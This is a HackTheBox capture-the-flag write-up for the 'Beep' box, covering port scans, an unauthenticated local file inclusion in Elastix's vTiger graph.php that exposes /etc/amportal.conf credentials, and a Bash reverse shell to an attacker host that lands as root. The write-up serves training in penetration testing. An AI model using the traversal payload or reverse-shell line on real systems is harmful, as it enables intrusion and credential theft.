Skip to content

Beep Writeup - HackTheBox

Easy Linux
Mohammad Meraj

Independent Security Researcher

Beep is a Linux box running an Elastix VoIP appliance. The chain runs: a wide service footprint that fingerprints the appliance, an unauthenticated local file inclusion in the bundled vTiger CRM component, credential disclosure from /etc/amportal.conf, and the built-in Elastix Command Shell that already runs as root, so the foothold and root land in the same step.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:22
Open $TARGET_IP:25
Open $TARGET_IP:80
Open $TARGET_IP:110
Open $TARGET_IP:111
Open $TARGET_IP:143
Open $TARGET_IP:443
Open $TARGET_IP:856
Open $TARGET_IP:993
Open $TARGET_IP:995
Open $TARGET_IP:3306
Open $TARGET_IP:4190
Open $TARGET_IP:4445
Open $TARGET_IP:4559
Open $TARGET_IP:5038
Open $TARGET_IP:10000
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.

Sixteen open ports covering mail on 25, 110, 143, 993, 995 and 4190, RPC on 111 and 856, MySQL on 3306, Asterisk Call Manager on 5038, and a management interface on 10000. That spread fingerprints an Elastix or FreePBX VoIP appliance rather than a general purpose server. Version detection on the same port set confirms it.

Service and version detection

┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p 22,25,80,110,111,143,443,856,993,995,3306,4190,4445,4559,5038,10000 $TARGET_IP -oA nmap/nmap
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
25/tcp    open  smtp?
80/tcp    open  http       Apache httpd 2.2.3
|_http-title: Did not follow redirect to https://$TARGET_IP/
110/tcp   open  pop3?
111/tcp   open  rpcbind
143/tcp   open  imap?
443/tcp   open  ssl/http   Apache httpd 2.2.3 ((CentOS))
|_http-title: Elastix - Login page
| http-robots.txt: 1 disallowed entry
|_/
856/tcp   open  status
993/tcp   open  imaps?
995/tcp   open  pop3s?
3306/tcp  open  mysql?
4190/tcp  open  sieve?
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax?
5038/tcp  open  asterisk   Asterisk Call Manager 1.1
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p 22,25,80,110,111,143,443,856,993,995,3306,4190,4445,4559,5038,10000 Limit the scan to the ports rustscan already found open.

Port 443 serves the Elastix login page and port 10000 serves Webmin MiniServ 1.570. Everything runs on an aging CentOS stack with Apache 2.2.3 and OpenSSH 4.3. Nmap also reports a clock skew of roughly three hours, which is worth correcting before any authentication testing.

Enumeration

Reaching the Elastix interface

┌──(kali㉿kali)-[~]
└─$ ntpdate $TARGET_IP

Firefox refuses to load port 443 and returns SSL_ERROR_UNSUPPORTED_VERSION, because the appliance only speaks a TLS version older than the browser minimum. Lowering that minimum in about:config makes the page reachable: search for security.tls.version.min and set it to 1.

With that changed, https://$TARGET_IP/ renders the Elastix login page. No credentials are available yet. Guessing default logins against the Webmin form at https://$TARGET_IP:10000/session_login.cgi only triggers a lockout, so credential guessing is a dead end and the appliance version itself becomes the target.

Vulnerability Discovery

Known Elastix issues

┌──(kali㉿kali)-[~]
└─$ searchsploit Elastix
Elastix - 'page' Cross-Site Scripting                          | php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulnerabilities        | php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities  | php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclusion               | php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection                              | php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection                             | php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution         | php/webapps/18650.py

The local file inclusion in graph.php, exploit-db 37637, is the shortest path. It needs no authentication and it reads arbitrary files through the vTiger CRM component that ships with Elastix. On a FreePBX derived appliance that immediately points at /etc/amportal.conf, the configuration file holding the database, Asterisk Manager, and admin panel credentials.

Exploitation

Local file inclusion to credential disclosure

The bug sits in the current_language parameter of vtigercrm/graph.php, which does not strip traversal sequences and accepts a null byte to cut off the appended extension.

/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

The published PoC 37637.pl automates the same request and greps the response for a known FreePBX string to confirm the read. Requesting the path directly against https://$TARGET_IP/ returns the full configuration file.

AMPMGRUSER=admin
AMPMGRPASS=$ADMIN_PASSWORD
...
ARI_ADMIN_USERNAME=admin
ARI_ADMIN_PASSWORD=$ADMIN_PASSWORD
...
FOPPASSWORD=$ADMIN_PASSWORD

One password covers the Asterisk Manager account, the ARI admin panel, and the FOP panel. That reuse is worth testing against the Elastix login itself, and root with the same value authenticates to the web interface on port 443.

Command execution from the admin panel

Elastix ships a Command Shell utility under the Others category in the left hand navigation. It runs commands on the underlying operating system straight from the browser, so no exploit is needed for code execution once the panel is reachable. Feeding it a Bash reverse shell is enough.

sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1

Catch it with a plain listener.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 57672
sh: no job control in this shell
sh-3.2# whoami
root
sh-3.2# pwd
/root
Explain command
-l Listen for an incoming connection instead of dialing out.
-v Verbose output so the inbound connection is visible.
-n Skip DNS resolution on the connecting address.
-p $ATTACKER_PORT Local port the reverse shell connects back to.

The Command Shell component runs as root, so the shell lands as root in /root directly. There is no separate user stage and no privilege escalation to do on this box.

References